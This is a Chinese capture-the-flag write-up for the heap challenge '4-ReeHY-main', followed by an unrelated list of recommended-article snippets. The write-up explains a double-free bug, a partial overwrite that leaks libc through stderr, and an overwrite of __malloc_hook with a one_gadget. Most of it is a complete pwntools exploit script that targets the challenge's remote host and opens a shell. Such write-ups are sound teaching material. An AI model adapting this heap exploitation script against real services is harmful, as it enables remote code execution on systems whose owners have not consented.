检查保护机制:

  

发现  可以好像写got

然后 程序流程

这里  有double free

然后 再发现

 这里很有趣 ,要是我的content为零了 且size 小于112  那就从栈上copy一些内容进去

利用double free ,再修改残留在chunk上的fd的信息

就能达到任意地址写入的效果,
但是
这里有没有溢出点 就算能达到任意地址写入
也没什么用 所以 可以malloc 一块到 stderr + 的地方
然后 再 edit

content 先不写  因为

这个  会刷新stdout 导致之前写入的东西 给重新刷新了

这时候就可以用编辑,写入

不过这时候  只能写最低4字节,所以会有一定的概率性才能malloc 到 那块地方

之所以  选择 stderr +157 因为  那附件只有这块符号size的检测

下面贴出我的 exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#context.log_level = 'debug'
host = "111.198.29.45"
port = 33138 r = remote(host,port) def creat(size, cun, content):
r.recvuntil("$ ")
r.sendline(str(1))
r.recvuntil("Input size")
r.sendline(str(size))
r.recvuntil("Input cun")
r.sendline(str(cun))
r.recvuntil("Input content")
r.sendline(content) def dele(index):
r.recvuntil("$ ")
r.sendline(str(2))
r.recvuntil("Chose one to dele")
r.sendline(str(index)) def edit(index, content):
r.recvuntil("$ ")
r.sendline(str(3))
r.recvuntil("Chose one to edit")
r.sendline(str(index))
r.recvuntil("Input the content")
r.send(content) def show():
r.recvuntil("$ ")
r.sendline(str(4)) def exploit():
global r
r = remote(host,port)
libc = ELF('./libc.so.6')
r.recvuntil("$ ")
r.sendline("aaaa")
creat(0x60, 0, '')
creat(0x60, 1, '')
creat(0x60, 2, '')
dele(0)
dele(1)
dele(0)
creat(0x60, 3, '')
creat(0x60, 1, '')
edit(3,p16(0x95dd))
creat(0x60, 0, '')
try:
pay = "\xcc"*3+p64(0)*6+p64(0xfbad3c80)+p64(0)*3+chr(0)
creat(0x60, 4, pay)
except:
log.failure("not lucky enough!")
r.close()
return False
edit(4,pay)
leak = ''
leak = r.recvuntil("exit")[0x40:0x48]
print hex(u64(leak))
LIBC = u64(leak) - e.symbols['_IO_2_1_stderr_']-0xc0
log.info('libc :0x%x'%LIBC) #raw_input()
target = LIBC + e.symbols['__malloc_hook'] - 0x23
dele(3)
edit(0,p64(target))
onegae = LIBC + 0xf1147
log.info("onegaget: 0x%x"%onegae)
payload = 'a'*0x13 +p64(onegae)
creat(0x60, 1, '')
creat(0x60, 3, payload)
dele(1)
r.recvuntil("$ ")
r.sendline(str(1))
r.recvuntil("Input size")
r.sendline(str(0x60))
r.recvuntil("Input cun")
r.sendline(str(1))
stop = True
r.interactive() if __name__ == '__main__':
stop = False
e = ELF("./libc.so.6")
while not stop:
exploit()

攻防世界 4-ReeHY-main的更多相关文章

  1. 【攻防世界】高手进阶 pwn200 WP

    题目链接 PWN200 题目和JarvisOJ level4很像 检查保护 利用checksec --file pwn200可以看到开启了NX防护 静态反编译结构 Main函数反编译结果如下 int ...

  2. 【攻防世界】 高手进阶区 Recho WP

    0x00 考察点 考察点有三个: ROP链构造 Got表劫持 pwntools的shutdown功能 0x01 程序分析 上来三板斧 file一下 checksec --file XXX chmod ...

  3. pwn篇:攻防世界进阶welpwn,LibcSearcher使用

    攻防世界welpwn (搬运一篇自己在CSDN写的帖子) 链接:https://blog.csdn.net/weixin_44644249/article/details/113781356 这题主要 ...

  4. 攻防世界 reverse 进阶 APK-逆向2

    APK-逆向2 Hack-you-2014 (看名以为是安卓逆向呢0.0,搞错了吧) 程序是.net写的,直接祭出神器dnSpy 1 using System; 2 using System.Diag ...

  5. 攻防世界 reverse 进阶 10 Reverse Box

    攻防世界中此题信息未给全,题目来源为[TWCTF-2016:Reverse] Reverse Box 网上有很多wp是使用gdb脚本,这里找到一个本地还原关键算法,然后再爆破的 https://www ...

  6. 【pwn】攻防世界 pwn新手区wp

    [pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...

  7. CTF--web 攻防世界web题 robots backup

    攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...

  8. CTF--web 攻防世界web题 get_post

    攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...

  9. 攻防世界 web进阶练习 NewsCenter

    攻防世界 web进阶练习 NewsCenter   题目是NewsCenter,没有提示信息.打开题目,有一处搜索框,搜索新闻.考虑xss或sql注入,随便输入一个abc,没有任何搜索结果,页面也没有 ...

  10. XCTF攻防世界Web之WriteUp

    XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...

随机推荐

  1. Azure EventHub快速入门和使用心得

    Azure Event Hubs(事件中心)是一个大数据流式数据摄取服务平台,每秒接受数百万事件; EventHubs 是一个有数据保留期限的缓冲区,类似分布式日志:可缩放的关键在于[分区消费模型], ...

  2. 彻底解决 Mechanism level: Failed to find any Kerberos tgt

    错误描述 Secure Client Cannot Connect ([Caused by GSSException: No valid credentials provided(Mechanism ...

  3. 设计模式(二十二)Command模式

    一个类在进行工作时会调用自己或者是其他类的方法,虽然调用结果会反映在对象的状态中,但并不会留下工作的历史记录. 这时,如果我们有一个类,用来表示“请进行这项工作”的“命令”就会方便很多.每一项想做的工 ...

  4. Linux常见命令之文件处理命令

    ls命令 ls(选项)(参数) 选项 -a:显示所有档案及目录(ls内定将档案名或目录名称为“.”的视为影藏,不会列出): -A:显示除影藏文件“.”和“..”以外的所有文件列表: -C:多列显示输出 ...

  5. Visual Studio Online,带来四种开发模式,未来已来。

    北京时间 2019 年 11 月 4 日,在 Microsoft Ignite 2019 大会上,微软正式发布了 Visual Studio Online 公开预览版! 简单来说,Visual Stu ...

  6. 利用Python迭代器查找最小值和最大值

    迭代器的用法为for...in.... 迭代器如同for循环,可以遍历所有的值,但我们熟悉的的语言,都是通过下标完成的,python的循环程度要高于C语言的循环,因为python的迭代不止可以用在Li ...

  7. Bootstrap布局基础

     1.栅格系统(布局)Bootstrap内置了一套响应式.移动设备优先的流式栅格系统,随着屏幕设备或视口(viewport)尺寸的增加,系统会自动分为最多12列. 我在这里是把Bootstrap中的栅 ...

  8. ubuntu16安装docker环境详细说明

    安装前说明: 本文将介绍在ubuntu16.04系统下安装和升级docker.docker-compose.docker-machine. docker:有两个版本:docker-ce(社区版)和do ...

  9. Ubuntu13.10编译android源码中遇到的问题

    1. jdk的版本不对 我开始安装的是最新的jdk7,但是编译时会出现jdk的版本

  10. Java基础系列5:Java代码的执行顺序

    该系列博文会告诉你如何从入门到进阶,一步步地学习Java基础知识,并上手进行实战,接着了解每个Java知识点背后的实现原理,更完整地了解整个Java技术体系,形成自己的知识框架. 一.构造方法 构造方 ...